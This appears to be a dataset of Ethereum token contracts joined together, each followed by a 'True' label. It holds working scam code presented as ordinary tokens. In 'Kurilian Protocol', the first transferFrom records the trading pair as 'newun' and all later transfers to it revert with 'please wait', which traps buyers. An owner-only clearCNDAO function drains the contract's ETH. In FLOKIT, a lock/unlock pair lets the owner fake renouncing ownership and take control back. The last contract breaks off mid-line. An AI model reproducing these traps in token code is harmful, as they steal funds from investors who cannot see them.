zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // Contract implementation contract FLOKIT is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'FLOKIT'; string private _symbol = 'FLOKIT'; uint8 private _decimals = 9; // Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap // Team wallet address is null but the method to set the address is exposed uint256 private _taxFee = 10; uint256 private _teamFee = 10; uint256 private _previousTaxFee = _taxFee; uint256 private _previousTeamFee = _teamFee; address payable public _teamWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 100000000000000e9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable teamWalletAddress, address payable marketingWalletAddress) public { _teamWalletAddress = teamWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousTeamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousTeamFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular team event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the team wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToTeam(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and team fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToTeam(uint256 amount) private { _teamWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToTeam(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25'); _taxFee = taxFee; } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() { _teamWalletAddress = teamWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9'); _maxTxAmount = maxTxAmount; } }

True

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/** // Kurilian Protocol ($KURL) - A new way to earn income // Name : BKurilian Protocol // Symbol : KURL // Decimals : 18 // InitialSupply : 1,000,000,000,000 SHEP // ---------------------------------------------------------------------------- // WEBISTE: http://Kurilianprotocol.io // TWITTER: https://twitter.com/Kurilianprotocol.finance // TELEGRAM GROUP: https://t.me//KurilianProtocol_official // ---------------------------------------------------------------------------- SPDX-License-Identifier: MIT */ pragma solidity >=0.5.17; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TokenERC20 is ERC20Interface, Owned{ using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; address public newun; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "KURL"; name = "Kurilian Protocol"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { if(from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } function () external payable { revert(); } } contract KurilianProtocol is TokenERC20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } // DISCLAIMER: THIS TOKEN IS ONLY FOR TEST. DO NO ENGAGE IN BUYING OR TRADING THIS TOKEN. YOU ARE FULLY RESPONSABLE FOR ANY LOSES THIS MAY CAUSE

True

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pragma solidity ^0.4.24; contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 8; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit 